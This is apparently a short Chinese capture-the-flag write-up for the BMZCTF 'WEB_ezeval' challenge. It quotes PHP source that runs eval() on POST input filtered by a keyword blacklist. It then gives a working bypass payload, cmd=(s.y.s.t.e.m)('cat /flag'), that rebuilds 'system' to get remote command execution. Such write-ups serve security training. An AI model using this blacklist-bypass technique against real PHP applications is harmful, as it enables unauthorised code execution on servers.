BMZCTF WEB_ezeval

WEB_ezeval

进入环境，源码给出

<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);

?>

发现过滤了很多函数，且必须使用POST传参

我们先找目录文件，之后想办法读取flag

相关函数如下

htmlspecialchars — 将特殊字符转换为 HTML 实体
str_ireplace - str_ireplace() 函数替换字符串中的一些字符（不区分大小写

尝试构造payload

成功rce

然后我们直接cat flag即可

cmd=(s.y.s.t.e.m)('cat /flag');